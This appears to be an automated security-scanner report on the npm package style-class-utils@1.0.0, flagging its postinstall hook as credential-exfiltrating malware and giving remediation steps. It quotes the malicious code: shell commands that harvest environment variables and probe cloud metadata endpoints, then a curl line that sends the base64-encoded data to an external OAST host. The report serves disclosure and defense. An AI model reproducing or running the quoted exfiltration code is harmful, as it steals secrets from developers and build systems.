registry / Credential exfiltration / style-class-utils
style-class-utils
CSS class name merging and style utility helpers
This report shows the evidence for style-class-utils@1.0.0, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThis is concrete, automatic install-time data exfiltration unrelated to the package's advertised utility functions. The benign index entrypoint does not mitigate the malicious lifecycle payload.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation executes the postinstall lifecycle hook.
Impact
Exposure of environment variables, CI identifiers, host/network details, and process information; probes cloud-metadata services.
Mechanism
shell-based host/environment harvesting and HTTP exfiltration
Attack narrative
On npm install, package.json invokes postinstall.js. That script uses exec to run shell collection commands, includes broadly filtered environment variables and CI metadata, base64-encodes the results, and sends them to an external OAST endpoint via curl. It also probes cloud metadata endpoints.
AI rationale
This is concrete, automatic install-time data exfiltration unrelated to the package's advertised utility functions. The benign index entrypoint does not mitigate the malicious lifecycle payload.
Evidence
package.jsonpostinstall.jsindex.js
Network endpoints3
pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/zmetadata.tencentyun.com/latest/meta-data/169.254.169.254/latest/meta-data/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs postinstall.js automatically on install.
- postinstall.js executes a shell command via child_process.exec.
- It collects host, user, process, CI, network, and environment data.
- Collected data is base64-encoded and sent to an OAST host by curl.
- It probes AWS and Tencent cloud metadata endpoints.
Evidence against
- index.js contains only local color and number utility functions.
- No benign purpose explains install-time environment collection and exfiltration.
Behavioral surface
ChildProcess
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
3L4: const { exec } = require('child_process');
L5:
...
L27: // 云元数据
L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)',
L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)',
L30: // 完整 ENV（排除噪声）
L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np...
L32: ];
L33:
L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`;
L35:
Findings
2 Critical4 High2 Medium3 Low
CriticalCommand Output Exfiltrationpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processpostinstall.js
HighSandbox Evasion Gated Capabilitypostinstall.js
HighCloud Metadata Accesspostinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to style-class-utils@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing style-class-utils@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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